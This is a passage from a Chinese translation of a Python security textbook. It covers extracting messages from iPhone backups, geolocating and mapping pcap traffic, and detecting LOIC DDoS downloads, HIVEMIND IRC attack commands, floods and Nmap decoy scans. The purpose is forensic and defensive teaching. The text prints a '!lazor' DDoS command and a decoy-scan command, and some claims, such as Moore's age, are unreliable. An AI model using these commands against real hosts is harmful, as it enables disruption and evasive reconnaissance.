message WHERE address>0;') for row in c: date = str(row[0]) addr = str(row[1]) text = row[2] print('\n[+] Date: '+date+', Addr: '+addr + ' Message: ' + text) except: pass 包装这些函数在一起,我们可以构建最终的脚本。我们将添加一个选项解析来 执行 iPhone 备份的目录。接下来,我们将列出该目录的内容并测试每一个文件 直到找到文本信息数据库。一旦我们找到这个文件,我们可以打印数据库的内 容在屏幕上。 # coding=UTF-8 import os import sqlite3 import optparse def isMessageTable(iphoneDB): try: conn = sqlite3.connect(iphoneDB) c = conn.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\"table\";') for row in c: if 'message' in str(row): return True except: return False def printMessage(msgDB): try: conn = sqlite3.connect(msgDB) c = conn.cursor() c.execute('select datetime(date,\'unixepoch\'),address, text from message WHERE address>0;') for row in c: date = str(row[0]) addr = str(row[1]) text = row[2] print('\n[+] Date: '+date+', Addr: '+addr + ' Message: ' + text) except: pass def main(): parser = optparse.OptionParser("usage%prog -p ") parser.add_option('-p', dest='pathName', type='string',help='specify skype profile path') (options, args) = parser.parse_args() pathName = options.pathName if pathName == None: print parser.usage exit(0) else: dirList = os.listdir(pathName) for fileName in dirList: iphoneDB = os.path.join(pathName, fileName) if isMessageTable(iphoneDB): try: print('\n[*] --- Found Messages ---') printMessage(iphoneDB) except: pass if __name__ == '__main__': main() 对 iPhone 备份目录运行这个脚本,我们可以看到一些存储在 iPhone 备份中的 最近的文本消息。 investigator$ python iphoneMessages.py -p ∼/Library/Application\ Support/MobileSync/Backup/192fd8d130aa644ea1c644aedbe2370 8221146a8/ [*] --- Found Messages --- [+] Date: 2011-12-25 03:03:56, Addr: 55555554333 Message: Happy holidays, brother. [+] Date: 2011-12-27 00:03:55, Addr: 55555553274 Message: You didnt respond to my message, are you still working on the book? [+] Date: 2011-12-27 00:47:59, Addr: 55555553947 Message: Quick question, should I delete mobile device backups on iTunes? <..SNIPPED..> 本章总结 再次祝贺!在本章调查数字结构时我们已经编写了不少工具了。通过调查 Windows 注册表和回收站,藏在元数据中的结构,应用程序存储的数据库我们 又增加了一些有用的工具到我们的工具库中。希望你建立在本章的例子基础上 回答你将来调查中的问题。 第四章:网络流量分析 本章内容 : 1.网络协议流量定位地理位置 2.发现恶意的 DDos 工具 3.找到隐藏的网络扫描 4.分析 Storm 的 Fast 流量和 Conficker 蠕虫的 Domain 流量 5.理解 TCP 序列预测攻击 6.手工发包挫败入侵检测系统 比起被限制在单独的维度中,武术更应该成为我们的生活方式,我们的理念, 我们对孩子的教育,我们投入的工作,我们建立的关系网,我们每天所做的选 择的延伸。 —Daniele Bolelli 第四度卫冕黑带功 夫秀 简介:极光行动以及如何明显的被避免 2010 年 1 月 14 日,美国了解到一次针对 Google,Adode 和其他 30 多个全球 100 强公司的协调的,复杂的并且持久性的电脑攻击。这次 攻击被称为极光行 动,在受感染的机器上发现了一个文件夹,这次攻击使用了一个新的 exploit, 以前没有被发现。尽管微软知道这个漏洞的存在,但它错误 的假定没有人知道 这个漏洞,所以不存在这种攻击的检测机制。为了攻击他们的受害者,攻击者 通过发送一封给受害者包含恶意的 javascript 脚本并连接 到恶意网站的邮件发 起攻击。当用户点击该链接他们就会下载一个恶意软件并返回一个控制命令行 到中国的服务器上。在哪里,攻击者利用他们新获得权限的电脑寻 找在受害者 系统上存储的私人信息。 攻击很明显的出现了但是几个月未被发现,并成功的渗透了 100 强公司的代码 库。甚至是基本的网络检测软件也能确认这次行为,为什么一个美国 100 强公 司有几个用户连接到特定的台湾站点然后再次转到特定的中国服务器上?一个 可视化的地图显示用户连接台湾和中国具有显著的频率可以允许网络管理员调 查这 次攻击,并在信息丢失前停止它。 在下面的章节中我们将研究利用 Python 分析不同的攻击,为了快速分析大量的 不同的数据点。让我们开始通过建立一个脚本可视化分析流量来开始调查,那 些受极光行动危害的 100 强管理员用过的方法。 IP 流量头去哪了?---一个 Python 的回答 首先我们必须知道怎样将网络 IP 地址和物理位置相关联起来。为此,我们将依 赖一个免费的数据库,MaxMind,MaxMind 提供了一些精确的商业产品,他的 开源 GeoLiteCity 数据库在 http://www.maxmind.com/app/geolitecity 可获得, 为我们提供了足够的精确度从 IP 地址到物理地址。一旦数据库被下载,我们需 要解压它并把它移动到其他位置,如/opt/Geoip/Gro.dat。 analyst# wget http://geolite.maxmind.com/download/geoip/database/ GeoLiteCity.dat.gz --2012-03-17 09:02:20-- http://geolite.maxmind.com/download/geoip/ database/GeoLiteCity.dat.gz Resolving geolite.maxmind.com... 174.36.207.186 Connecting to geolite.maxmind.com|174.36.207.186|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 9866567 (9.4M) [text/plain] Saving to: 'GeoLiteCity.dat.gz' 100%[===================================== =========== ========================================== ========== ========================================== ========>] 9,866,567 724K/s in 15s k 2012-03-17 09:02:36 (664 KB/s) – 'GeoLiteCity.dat.gz' saved [9866567/9866567] analyst#gunzip GeoLiteCity.dat.gz analyst#mkdir /opt/GeoIP analyst#mv GeoLiteCity.dat /opt/GeoIP/Geo.dat 利用我们的 GeoIP 数据库,我们可以关联一个 IP 地址到国家,邮政代码,城市 名和一般的经纬度坐标。所有的这一切将在 IP 力量分析中用到。 使用 PyGeoIP 关联 IP 地址到物理地址 Jennifer Ennis 制作了一个纯 Python 模块用来查询 GeoLiteCity 数据库。她的模 块能从 http://code.google.com/p/pygeoip/下载,安装并导入到我们的 Python 脚本中。注意,我们将首先实例化一个 GeoIP 类,用本地的 GeoIP 的 位置。接下来我们将为特殊的记录指定 IP 地址查询数据库。它将返回一个记录 包含城市(city),地区名(region_name),邮编(postal_code),国家 (country_name),经纬度(latitude and longitude)以及其他的确认信息。 import pygeoip gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat') def printRecord(tgt): rec = gi.record_by_addr(tgt) city = rec['city'] region = rec['region_name'] country = rec['country_name'] long = rec['longitude'] lat = rec['latitude'] print('[*] Target: ' + tgt + ' Geo-located. ') print('[+] '+str(city)+', '+str(region)+', '+str(country)) print('[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long)) tgt = '173.255.226.98' printRecord(tgt) 运行我们的脚本,我们可以看到它产生输出显示目标 IP 的物理位置。现在我们 可以将 IP 地址和物理位置关联在一起,让我们开始编写我们的分析脚本。 analyst# python printGeo.py [*] Target: 173.255.226.98 Geo-located. [+] Jersey City, NJ, United States [+] Latitude: 40.7245, Longitude: −74.0621 使用 Dpkt 解析数据包 在下面的章节中,我们将主要使用 Scapy 数据包操作工具来分析和制作数据包。 Scapy 提供了强大的功能,新手往往会发现在 Windows 或者 Mac OS X 系统上 安装非常困难,相比之下,Dpkt 则很简单,可以从 http://code.google.com/p/dpkt/下载安装。两个都提供类似的功能,但是在工 具集中它会比较有用。Dug Song 最初创建 Dpkt 之后,Jon Oberheide 增加了 许多额外的功能用来解析不同的协议,如 FTP,SCTP,BPG,IPv6,H.225。 例如,让我们假设一下我们捕获并记录了一个我们想要分析的网络数据包为 pcap 格式。Dpkt 允许我们遍历每一个捕获的数据包并检查每一个协议层。在 这个例子中,虽然我们只是简单的读取先前捕获的 PCAP 数据包,我们可以很 容易的使用 pypcap 分析流量。可以从 http://code.google.com/p/pypcap/下载。 为了读取一个 pcap 文件,我们实例化文件,创建一个 pcap.reader 类对象,然 后通过我们的对象函数 printPcap()。这个对象 pcap 包含了一个数组,记录着 时间戳和数据包,[timestamp, packet]。我们可以把每个数据包分为以太层和 IP 层。注意,这里要使用异常处理,因为我们可能捕获到第二层帧,不包含 IP 层,这有可能抛出一个异常。在这种情况下,我们使用异常处理捕获异常并 继续下一个数据包。我们使用 socket 库解析 IP 地址。最后我们打印每个数据 包的源地址和目标地址。 import dpkt import socket def printPcap(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) print('[+] Src: ' + src + ' --> Dst: ' + dst) except: pass def main(): f = open('data.pcap') pcap = dpkt.pcap.Reader(f) printPcap(pcap) if __name__ == '__main__': main() 运行该脚本,我们可以看到源地址和目标地址打印在屏幕上。这为我们提供了 一定程度的分析,现在让我们使用我们先前的脚本关联 IP 地址和物理地址。 analyst# python printDirection.py [+] Src: 110.8.88.36 --> Dst: 188.39.7.79 [+] Src: 28.38.166.8 --> Dst: 21.133.59.224 [+] Src: 153.117.22.211 --> Dst: 138.88.201.132 [+] Src: 1.103.102.104 --> Dst: 5.246.3.148 [+] Src: 166.123.95.157 --> Dst: 219.173.149.77 [+] Src: 8.155.194.116 --> Dst: 215.60.119.128 [+] Src: 133.115.139.226 --> Dst: 137.153.2.196 [+] Src: 217.30.118.1 --> Dst: 63.77.163.212 [+] Src: 57.70.59.157 --> Dst: 89.233.181.180 改善我们的脚本,让我们添加一个额外的函数 retGeoStr(),通过 IP 地址返回 物理地址。为此,我们将简单的分解城市和 3 位数的国家代码并将他们打印到 屏幕上。如果函数抛出异常,我们将返回消息表示该地址未注册。这种异常是 地址不在 GeoIP 数据库中或者是局域网 IP 地址,如 192.168.1.3。 # coding=UTF-8 import dpkt import socket import pygeoip import optparse gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat') def retGeoStr(ip): try: rec = gi.record_by_name(ip) city = rec['city'] country = rec['country_code3'] if city != '': geoLoc = city + ', ' + country else: geoLoc = country return geoLoc except Exception as e: return 'Unregistered' def printPcap(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) print('[+] Src: ' + src + ' --> Dst: ' + dst) print('[+] Src: ' + retGeoStr(src) + ' --> Dst: ' + retGeoStr(dst)) except: pass def main(): parser = optparse.OptionParser('usage%prog -p ') parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename') (options, args) = parser.parse_args() if options.pcapFile == None: print(parser.usage) exit(0) pcapFile = options.pcapFile f = open(pcapFile) pcap = dpkt.pcap.Reader(f) printPcap(pcap) if __name__ == '__main__': main() 运行我们的脚本,我们可以看到我们的数据包有前往韩国,伦敦,日本甚至是 澳大利亚的。这为我们提供了强大的分析工具。然而,Google 地球可能会提供 更好的方法来显示相同的信息。 analyst# python geoPrint.py -p geotest.pcap [+] Src: 110.8.88.36 --> Dst: 188.39.7.79 [+] Src: KOR --> Dst: London, GBR [+] Src: 28.38.166.8 --> Dst: 21.133.59.224 [+] Src: Columbus, USA --> Dst: Columbus, USA [+] Src: 153.117.22.211 --> Dst: 138.88.201.132 [+] Src: Wichita, USA --> Dst: Hollywood, USA [+] Src: 1.103.102.104 --> Dst: 5.246.3.148 [+] Src: KOR --> Dst: Unregistered [+] Src: 166.123.95.157 --> Dst: 219.173.149.77 [+] Src: Washington, USA --> Dst: Kawabe, JPN [+] Src: 8.155.194.116 --> Dst: 215.60.119.128 [+] Src: USA --> Dst: Columbus, USA [+] Src: 133.115.139.226 --> Dst: 137.153.2.196 [+] Src: JPN --> Dst: Tokyo, JPN [+] Src: 217.30.118.1 --> Dst: 63.77.163.212 [+] Src: Edinburgh, GBR --> Dst: USA [+] Src: 57.70.59.157 --> Dst: 89.233.181.180 [+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE 使用 Python 建立 Google 地图 Google 地球提供了一个虚拟地球仪,地图,地理信息,显示在专门的视图上。 虽然是专门的,但 Google 地球却可以很容易的集成定制或者在全球追踪。创建 一个扩展名为 KML 的文本文件,允许用户整合各种地方标识到 Google 地球中。 KML 文件包含了一个特定的 XML 结构,就像下面我们展示的那样。在这里,我 们展示了如何在地图上使用名字和具体坐标绘制具体的位置标记。我们已经有 了 IP 地址,地点的经纬度,这应该很容易集成到我们现有的脚本中生成 KML 文件。 93.170.52.30 5.750000,52.500000 208.73.210.87 -122.393300,37.769700 让我们快速建立一个函数 retKML(),将 IP 作为输入返回一个特殊的 KML 结构。 请注意,首先我们要解决的是使用 pygeoip 获得 IP 地址的经纬度。然后我们可 以为这个地方建立我们的 KML 标记。如果我们遇到异常,例如“location not found,”,将返回空字符串。 def retKML(ip): rec = gi.record_by_name(ip) try: longitude = rec['longitude'] latitude = rec['latitude'] kml = ('\n' '%s\n' '\n' '%6f,%6f\n' '\n' '\n' ) % (ip,longitude, latitude) return kml except Exception, e: return '' 整合所有的功能到我们原始的脚本。我们现在添加特定的 KML 头和尾。对于每 一个数据包,我们创建源地址和目标地址的 KML 标记,并在地图上绘制。这样 就产生了一个美丽的网络流量可视化图。想想,所有扩展这些的方法都是有用 的。你可能希望用不同的图片标记不同类型的流量,特定的源地址和目的地址 TCP 端口(比如说 web80 端口和 25 邮件端口)。可以参考 Google 的 KML 文档 在网站: https://developers.google.com/kml/documentation/并想想我们扩展我们可视 化视图的目的。 # coding=UTF-8 import dpkt import socket import pygeoip import optparse gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat') def retKML(ip): rec = gi.record_by_name(ip) try: longitude = rec['longitude'] latitude = rec['latitude'] kml = ('\n' '%s\n' '\n' '%6f,%6f\n' '\n' '\n' ) % (ip,longitude, latitude) return kml except Exception, e: return '' def plotIPs(pcap): kmlPts = '' for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) srcKML = retKML(src) dst = socket.inet_ntoa(ip.dst) dstKML = retKML(dst) kmlPts = kmlPts + srcKML + dstKML except: pass return kmlPts def main(): parser = optparse.OptionParser('usage%prog -p ') parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename') (options, args) = parser.parse_args() if options.pcapFile == None: print parser.usage exit(0) pcapFile = options.pcapFile f = open(pcapFile) pcap = dpkt.pcap.Reader(f) kmlheader = '\ \n\n\n' kmlfooter = '\n\n' kmldoc=kmlheader+plotIPs(pcap)+kmlfooter print(kmldoc) if __name__ == '__main__': main() 运行我们的脚本,我们将输出内容到 KML 文件中,用 Google 地球打开这个文 件,我们可以看到我们数据包的源地址和目的地。在下一节中,我们将使用我 们的分析技能侦查 Anonymous 组织在全球的威胁。 匿名真的是匿名了么?分析 LOIC 流量 2010 年 12 月,荷兰警方逮捕了一名青少年参与分布式拒绝服务攻击一些反对 维基解密的公司。不到一个月,FBI 发处了 40 多份搜查令,警方逮捕了同样的 五人。松散的黑客组织 Anonymous 下载并使用 LOIC 进行分布式拒绝服务攻击 犯罪。 LOIC 发送大量的 TCP 和 UDP 流量洪水攻击目标。一个单义的 LOIC 实例对目 标消耗的资源很小,然而,当成千上万的人同时使用时他们有能力快速耗尽目 标资源。 LOIC 提供两种操作模式,第一中模式中,用户可以输入目标地址,第二种模式 称为 HIVEMIND,用户连接 LOIC 到一个目标的 IRC 服务将进行自动攻击。 使用 Dpkt 找到谁在下载 LOIC 在进行操作时,Anonymous 成员发布了一个问题文档,关于 LOIC 常见的问题 的回答。常见为问题有:使用 LOIC 我们会被逮捕吗?可能性几乎为零。只要 说是中了病毒或者干脆否认使用了他,在这一节中,让我们通过良好的分析数 据包的知识并编写工具分析谁下载和使用了 LOIC 工具。 互联网上多个源提供 LOIC 的下载,一些更为可信。可以从 sourceforge 主机下 载 http://sourceforge.net/projects/loic/,让我们从这下载,下载前,打开 tcpdump 会话,过滤 80 端口,并打印结果,你可以看到一下结果。 analyst# tcpdump –i eth0 –A 'port 80' 17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http: Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop,TS val 488571053 ecr 3676471943], length 827E..o..@.@........".;.8.P.KC.T .c................." ..GET /project/loic/loic/loic-1.0.7/LOIC 1.0.7.42binary.zip ?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&ts =1330821290 HTTP/1.1 Host: downloads.sourceforge.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 第一部分我们是发现 LOIC 工具,我们将编写一个 Python 脚本来解析 HTTP 流 量,审查 HTTP 的 GET 头是否有 LOIC 的 ZIP 二进制。为此,我们将使用 Dpkt 库。为了检查 HTTP 流量,我们必须提取以太网协议,IP 协议和 TCP 协 议。最后是在 TCP 协议之上的 HTTP 协议。如果 HTTP 层用 GET 方法,我们解 析特定的 URL 的 GET 请求。如果 URl 包含.zip 和 LOIC 在名称中,我们打印消 息在屏幕上,显示下载 LOIC 的 IP。折可以帮助聪明的管理员证明用户在下载 LOIC 而不是因为病毒感染。接合第三章的下载法庭取证分析,我们可以确认用 户下载了 LOIC 工具。 import dpkt import socket def findDownload(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) tcp = ip.data http = dpkt.http.Request(tcp.data) if http.method == 'GET': uri = http.uri.lower() if '.zip' in uri and 'loic' in uri: print('[!] ' + src + ' Downloaded LOIC.') except: pass f = open('LOIC.pcap') pcap = dpkt.pcap.Reader(f) findDownload(pcap) 运行该脚本,我们可以看到已经有用户下载了 LOIC 工具。 analyst# python findDownload.py [!] 192.168.1.3 Downloaded LOIC. [!] 192.168.1.5 Downloaded LOIC. [!] 192.168.1.7 Downloaded LOIC. [!] 192.168.1.9 Downloaded LOIC. 解析 HIVE 模式的 IRC 命令 简单的下载 LOIC 工具不一定的覅违法的。然而,连接到 Anonymous 的 HIVE 并启动分布式拒绝服务攻击进行攻击确实违反了几个州的法律。因为 Anonymous 是一个松散的志同道合的人而不是由个人领导的黑客组织。任何人 都可以建议对目标发起攻击。为了开始发动一次攻击,Anonymous 成员登陆到 一个特定的 IRC 服务器并发送攻击指令。例如!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start。任何 用 LOIC 的 HIVEMIND 模式连接到 IRC 的成员都能立即开始攻击目标。在这种 情况下,可以指定任何攻击目标。 在 tcpdump 中检查具体的攻击信息流量,我们可以看到特定的用户 anonOps 发送了一个开始攻击命令。接下来,IRC 服务器发送发送命令到连接 的 LOIC 客户端上开始攻击。想像一下在一个很长的包含几个小时或者几天的 网络流量的 pcap 文件中找到几个特定的数据包。 analyst# sudo tcpdump -i eth0 -A 'port 6667' 08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq 3112239490:3112239600, ack 110628, win 65535, options [nop,nop,TS val 437994780 ecr 246181], length 110 E...5<@.@..9.._..._............$....3...... ..E.....TOPIC #LOIC:!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start 08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.], seq 1:139, ack 110, win 453, options [nop,nop,TS val 260262 ecr 437994780], length 138 E....&@.@.r3.._..._........$.........k..... ......E.:kevin!kevin@anonOps TOPIC #loic:!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start 在大多数情况下,IRC 服务使用的是 TCP 6667 端口,消息到 IRC 服务器的目 的地至是 TCP 的 6667 端口,从 IRC 返回的消息的源地址端口应该是 TCP 的 6667 端口。让我们利用这些知识来编写我们的 HIVEMIND 解析函数 findHivemind()。这一次,我们提取以太网协议,IP 协议和 TCP 协议。提取 TCP 协议后,我们在探究特定的源和目的端口。如果看到命令!lazor 带有目的 端口 6667,我们就可以确认成员发送了攻击命令。如果我们看到!lazor 带有源 目的地端口 6667,我们就可以确定服务器发送了成员攻击命令。 import dpkt import socket def findHivemind(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data dport = tcp.dport sport = tcp.sport if dport == 6667: if '!lazor' in tcp.data.lower(): print('[!] DDoS Hivemind issued by: '+src) print('[+] Target CMD: ' + tcp.data) if sport == 6667: if '!lazor' in tcp.data.lower(): print('[!] DDoS Hivemind issued to: '+src) print('[+] Target CMD: ' + tcp.data) except: pass 识别正在进行的 DDos 攻击 有了定位下载 LOIC 工具和发现 HIVE 命令的功能,最后一项任务是:识别正在 进行的 DDos 攻击。当一个用户开始了一个 LOIC 攻击,它将发送大量的 TCP 数 据包给目标主机。这些数据包,接合从 HIVE 来的集体的数据包基本耗尽了目标 主机的资源。我们开始一个 tcpdump 会话看着每 0.00005 秒发送一个小的数据 包。这种行为不断的重复直到攻击结束。注意,目标无法相应,每次只就收 5 个数据包。 analyst# tcpdump –i eth0 'port 80' 06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.], seq 336:348, ack 1, win 64240, length 12 06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.], seq 336:348, ack 1, win 64240, length 12 06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.], seq 301:313, ack 1, win 64240, length 12 06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [.], ack 313, win 14600, lengt h 0 06:39:26.091134 IP loic-attacker.1189 >loic-target.www: Flags [P.], seq 336:348, ack 1, win 64240, length 12 06:39:26.091140 IP loic-attacker.1181 >loic-target.www: Flags [P.], seq 336:348, ack 1, win 64240, length 12 06:39:26.091142 IP loic-attacker.1180 >loic-target.www: Flags [P.], seq 336:348, ack 1, win 64240, length 12 06:39:26.091225 IP loic-attacker.1184 >loic-target.www: Flags [P.], seq 336:348, ack 1, win <.. REPEATS 1000x TIMES..> 让我们快速编写一个发现正在进行 DDos 攻击的函数。为了发现一个攻击,我 们将设置一个数据包阀值。如果一个用户到特定地址的的数据包数量超过该阀 值,这表明我们将把它当做一个攻击做进一步调查。但是,这并不能确定用户 发起了攻击。然而,当用户下载了 LOIC 工具,随后接受了 HIVE 指令,然后是 实际的攻击,这足以提供证据用户参与了一次匿名的 DDos 攻击。 import dpkt import socket THRESH = 10000 def findAttack(pcap): pktCount = {} for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data dport = tcp.dport if dport == 80: stream = src + ':' + dst if pktCount.has_key(stream): pktCount[stream] = pktCount[stream] + 1 else: pktCount[stream] = 1 except: pass for stream in pktCount: pktsSent = pktCount[stream] if pktsSent > THRESH: src = stream.split(':')[0] dst = stream.split(':')[1] print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.') 将我们的代码放在一起并加一些选项解析,我们的脚本现在可以检测下载,监 听 HIVE 指令并检测攻击。 # coding=UTF-8 import dpkt import socket import optparse def findDownload(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) tcp = ip.data http = dpkt.http.Request(tcp.data) if http.method == 'GET': uri = http.uri.lower() if '.zip' in uri and 'loic' in uri: print('[!] ' + src + ' Downloaded LOIC.') except: pass THRESH = 10000 def findAttack(pcap): pktCount = {} for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data dport = tcp.dport if dport == 80: stream = src + ':' + dst if pktCount.has_key(stream): pktCount[stream] = pktCount[stream] + 1 else: pktCount[stream] = 1 except: pass for stream in pktCount: pktsSent = pktCount[stream] if pktsSent > THRESH: src = stream.split(':')[0] dst = stream.split(':')[1] print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.') def findHivemind(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data dport = tcp.dport sport = tcp.sport if dport == 6667: if '!lazor' in tcp.data.lower(): print('[!] DDoS Hivemind issued by: '+src) print('[+] Target CMD: ' + tcp.data) if sport == 6667: if '!lazor' in tcp.data.lower(): print('[!] DDoS Hivemind issued to: '+src) print('[+] Target CMD: ' + tcp.data) except: pass def main(): parser = optparse.OptionParser("usage%prog -p -t ") parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename') parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ') (options, args) = parser.parse_args() if options.pcapFile == None: print(parser.usage) exit(0) if options.thresh != None: THRESH = options.thresh pcapFile = options.pcapFile f = open(pcapFile) pcap = dpkt.pcap.Reader(f) findDownload(pcap) findHivemind(pcap) findAttack(pcap) if __name__ == '__main__': main() 运行代码,我们可以看到结果。四个用户下载了工具。接着,不同的用户发送 攻击命令给另外两个连接着的攻击者,最后,这两个攻击者实际参与了攻击。 因此现在的脚本识别整个 DDos 攻击行动。虽然入侵检测系统可以检测类似的 活动,但编写一个自定义脚本做的更好。在下面的章节中,我们看看一个自定 义脚本,一个七岁小孩编写的用来保护五角大楼的脚本。 analyst# python findDDoS.py –p traffic.pcap [!] 192.168.1.3 Downloaded LOIC. [!] 192.168.1.5 Downloaded LOIC. [!] 192.168.1.7 Downloaded LOIC. [!] 192.168.1.9 Downloaded LOIC. [!] DDoS Hivemind issued by: 192.168.1.2 [+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start [!] DDoS Hivemind issued to: 192.168.1.3 [+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start [!] DDoS Hivemind issued to: 192.168.1.5 [+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141 message=test_test port=80 method=tcp wait=false random=true start [+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts. [+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts. H. D. Moore 怎样解决五角大楼的困境 1999 年末,美国五角大楼的计算机网络面临着严重的危机。美国国防总部,五 角大楼宣布正遭受着一系列的组织协调的复杂的攻击。最新发布的工具 Nmap,使得任何人扫描网络的服务和漏洞变得更容易了。五角大楼担心一些攻 击者使用 Nmap 识别五角大楼庞大的计算机网络的漏洞地图。 检测 Nmap 扫描很容易,关联攻击者的地址,然后找到物理地址。然而,攻击 者在 Nmap 中使用高级选项,而不是从特定的攻击者地址发动扫描,其中包括 似乎来自世界各地的扫描的诱饵。五角大楼专家很难分清时间扫描和诱饵扫描 之间的关系。 当专家研究了大量的理论方法分许数据的记录,最后 7 岁的 H.D.Moore,传奇 框架 Metasploit 框架的创造者,给出了一个可行的解决方案。他建议使用所有 进来的数据包的 TTL 字段。生存时间(TTL)字段用来确认一个 IP 数据包多跳可 以到达目的地。数据包没通过一个路由器,路由器就减少一个 TTL 字段的值。 Moore 意识到这可能是确认扫描数据包来源的极好的方法。对于记录的每一个 Nmap 扫描的源地址,他发送了一个 ICMP 数据包确认和扫描机器之间的条数。 然后用这个信息来区分是攻击者还是诱饵。显然,只有攻击者才有正确的 TTL 值,而诱饵没有正确的 TTL 值。他的方案可行!五角大楼要求 Moore 在 1999 的 SANS 会议上展示自己的工具和研究。Moore 称他的工具为 Nlog,因为 它记录了 Nmap 的各种扫描信息。 在下面的章节中,我们将使用 Python 重建 Moore 的分析过程和创建他的工具 Nlog。你会希望了解一个 7 岁少年十多年前的想法:简单,优雅的解决检测攻 击的方案。 理解 TTL 字段 在编写脚本之前,我们来接是一下 IP 数据包的 TTL 字段。TTL 字段包含 8 个 bit,有效值 0 到 255。当计算机发送一个 IP 数据包时,它设置 TTL 字段为可 以到达目的地的最大跳,每个路由设备改变数据包的 TTL 字段值。如果 TTL 字 段为零,路由器抛弃这个数据包防止无限循环路由。比如说,如果我 ping 地址 8.8.8.8,初始化 TTL 为 64 它将返回 TTL 的值为 53 我们可以看到数据包穿过了 11 个路由设备。 target# ping –m 64 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=53 time=48.0 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=53 time=49.7 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=53 time=59.4 ms 引进诱饵扫描的是 1.6 版本,诱饵数据包的 TTL 不是随机的也不是正确的。未 能正确计算 TTL 允许 Moore 确认这些数据包。显然,Nmap 的代码从 1999 年 得到显著的增长和发展,在最近的版本中,Nmap 使用下面的算法随机的设置 TTL。该算法随机的产生一个 TTL,用户也能自己指定 TTL 的值。 /* Time to live */ if (ttl == -1) { myttl = (get_random_uint()% 23) + 37; } else { myttl = ttl; } 为了运行一个 Nmap 诱饵扫描,我们在 IP 地址后面加上参数-D,在这种情况下, 我们将使用地址 8.8.8.8 作为诱饵地址,此外,我们自己指定 TTL 的值为 13, 因此,下面我们用 TTL 为 13 的诱饵地址为 8.8.8.8 扫描 192.168.1.7。 attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13 Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST Nmap scan report for 192.168.1.7 Host is up (0.015s latency). <..SNIPPED..> 在目标 192.168.1.7 上,我们在详细模式下打开 tcpdump(-v),禁用名称解析(- nn),过滤特定的地址 8.8.8.8(‘host 8.8.8.8’),我们看到 Nmap 成功的用 TTL 为 13,诱饵地址为 8.8.8.8 发送了数据包。 target# tcpdump –i eth0 –v –nn 'host 8.8.8.8' 8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum 0xcae7 (correct), seq 690560664, win 3072, options [mss 1460], length 0 14:56:41.289989 IP (tos 0x0, ttl 13, id 1625, offset 0, flags [none], proto TCP (6), length 44) 8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum 0xc6fc (correct), seq 690560664, win 3072, options [mss 1460], length 0 14:56:41.289996 IP (tos 0x0, ttl 13, id 16857, offset 0, flags [none], proto TCP (6), length 44) 8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697 (correct), seq 690560664, win 3072, options [mss 1460], length 0 14:56:41.290003 IP (tos 0x0, ttl 13, id 41154, offset 0, flags [none], proto TCP (6), length 44) 8.8.8.8.42936 > 